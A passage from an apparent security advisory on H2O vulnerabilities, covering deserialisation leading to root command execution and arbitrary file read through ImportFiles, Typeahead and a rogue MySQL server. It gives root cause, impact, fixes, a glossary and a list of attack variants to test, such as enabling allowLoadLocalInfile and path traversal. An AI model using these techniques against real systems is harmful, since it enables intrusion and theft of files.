/etc/host.conf
/etc/ld.so.conf
/etc/nsswitch.conf
/etc/debian_version
[...]
This asks H2O to suggest files under /etc/ (src=%2Fetc%2F is the URL-encoded /etc/), with a limit of 10000 results. jq -r '.matches[]' prints each match. The output is a directory listing of /etc, which tells an attacker what else is worth reading.
Root cause
The deserialisation issue is a design mistake: several endpoints accept user-controlled serialised objects and pass them straight to ObjectInputStream.readObject() without any prior verification of the data. In RemoteXGBoostUploadServlet, the only gate is the data_type parameter, which the attacker supplies, and the type cast happens after the object has already been instantiated. In AutoBuffer.javaSerializeReadPojo, the same pattern appears in a helper used by XGBoostExecReqV3.readData. Because Jython 2.7.1b3 ships by default through the jython-cfunc extension, a usable gadget chain is present on the classpath even though the library is not really used by the application. The classpath is the list of places Java looks for classes when it runs.
The file read issues are separate. ImportFiles is a feature that reads files by design, and no restriction is applied to which parts of the filesystem are reachable, so the only limit is the permissions of the user running the process. The MySQL vector depends on the allowLoadLocalInfile connection property being settable to true through the user-supplied Connection URL, which lets a rogue server ask the H2O client for a local file.
Impact
On the deserialisation side, an attacker can instantiate arbitrary objects and ultimately obtain arbitrary command execution on the system running H2O. In the demonstration the shell runs as root, and the process is shown running as root.
On the file read side, any user accessing H2O's web interface can read arbitrary files on the underlying system with the permissions of the system user running the application. The MySQL variant requires that a MySQL connector is used alongside the application and that allowLoadLocalInfile can be set to true in the connection URL. The ImportFiles variant needs no such condition, and the Typeahead field additionally allows listing files under any path, still with the permissions of the user running the application. Which files are actually accessible depends on the permissions of the user owning the process.
Fix
For the insecure deserialisation, the application should not unserialize user-controlled data without prior verification. Inspecting an ObjectInputStream before unserializing can be done with the ValidatingObjectInputStream from Apache Commons IO:
FileInputStream fileIn = new FileInputStream("Object.ser");
ValidatingObjectInputStream in = new ValidatingObjectInputStream(fileIn);
in.accept(AllowedClass);
var obj = (AllowedClass)in.readObject();
What this does:
new FileInputStream("Object.ser")opens the file containing the serialised data.new ValidatingObjectInputStream(fileIn)wraps it in a stream that checks each class before allowing it.in.accept(AllowedClass)sets the allow-list: onlyAllowedClassmay be deserialised. Anything else is rejected before it can run.in.readObject()then reads the object, safe in the knowledge that only approved classes can be built.
A commit was pushed on GitHub ([redacted], version 3.32.1.6), fixing the deserialisation issue by using the regular H2O serialisation mechanism instead.
For the MySQL file read vector, the value of the allowLoadLocalInfile connection property must be false. Lacking a simple way to configure MySQL Connector/J accordingly, the Connection URL should be sanitised so that no such connection property, or other potentially dangerous ones such as allowUrlInLocalInfile, are present and set to values leading to security issues.
For the ImportFiles vector, restricting the locations accessible to the application's users limits exposure. Since the accessible files depend on the permissions of the user owning the process, the documentation should also be updated to discourage running the application as a privileged user such as root/uid 0.
Variants to test
- Other
readObjectsinks. Search the source forObjectInputStreamandreadObjectand trace which HTTP parameters reach them. A positive result is a request whose body is deserialised before any type check, as withdata_typehere. - Other
data_typevalues. On/3/XGBoostExecutor.upload, try eachRequestTypeother thancheckpoint(sparseMatrixDimensions,sparseMatrixChunk,denseMatrixDimensions,denseMatrixChunk,matrixData). A positive result is a deserialisation error naming your class, or code execution. - Base64-wrapped serialised data. Look for fields documented as Base64-encoded binary, like
datainXGBoostExecReqV3, and check whetherreadDatais reachable from a request. A positive result is a deserialisation stack trace triggered by your Base64 blob. - Gadget inventory. Enumerate bundled libraries (here Jython 2.7.1b3 via
jython-cfunc) and match them against known chains. A positive result is a chain that can be adapted as done here. allowLoadLocalInfilein connection URLs. Wherever a user-supplied JDBC URL is accepted, tryallowLoadLocalInfile=trueagainst a rogue MySQL server. A positive result is the server receiving the content of a local file.allowUrlInLocalInfile. Add it set totrueto the same URL. A positive result is an outbound request from the H2O host to a URL you control, i.e. SSRF.- Path traversal in import features. Send paths outside the intended data directory to
ImportFilesand to the Typeahead file search. A positive result is a frame created for the file, or a listing of the target directory.
Glossary
- API: a defined set of URLs and rules that let one program talk to another, like a menu of things you can ask a service to do.
- Base64: a way of writing binary bytes using ordinary text characters so they can travel inside text fields.
- Bytecode: the low-level instruction format a language like Python or Java is compiled into before it runs.
- Cast: telling a program to treat an object as a particular type.
- Class: a blueprint in object-oriented code that describes data and behaviour.
- Classpath: the list of places Java looks for classes when it runs.
- Dependency: another library a project pulls in to work.
- Deserialisation: turning a stream of bytes back into live program objects.
- Enum: a fixed list of named constants, like the options on a menu.
- Frame: H2O's internal name for a table of data loaded into memory.
- Gadget chain: a sequence of existing classes that, when deserialised together, do something the developers never intended, such as running a command.
- HTTP: the language browsers and tools use to talk to web servers.
- JDBC URL: the standard text that tells a Java program how to reach a database.
- Job: a background task a system runs, identified so you can check on it.
- Jython: a version of the Python language that runs inside Java.
- Method: a named block of code inside a class.
- MySQL: a popular brand of relational database.
- Parameter: a named value sent along with a request, such as
?data_type=matrixData. - Proxy: a stand-in object that forwards calls to something else.
- Pull request: a proposed change to a code repository.
- Remote command execution: when an attacker gets to run their own commands on a victim's server.
- Reverse shell: a connection the victim machine makes back to the attacker, giving the attacker a command prompt on the victim.
- Root: the all-powerful administrator account on Linux.
- Server-Side Request Forgery (SSRF): when an attacker makes a server send a request to a destination of the attacker's choosing.
- Typeahead: a search box that suggests results as you type.
- ysoserial: a tool that builds malicious serialised payloads from known gadget chains.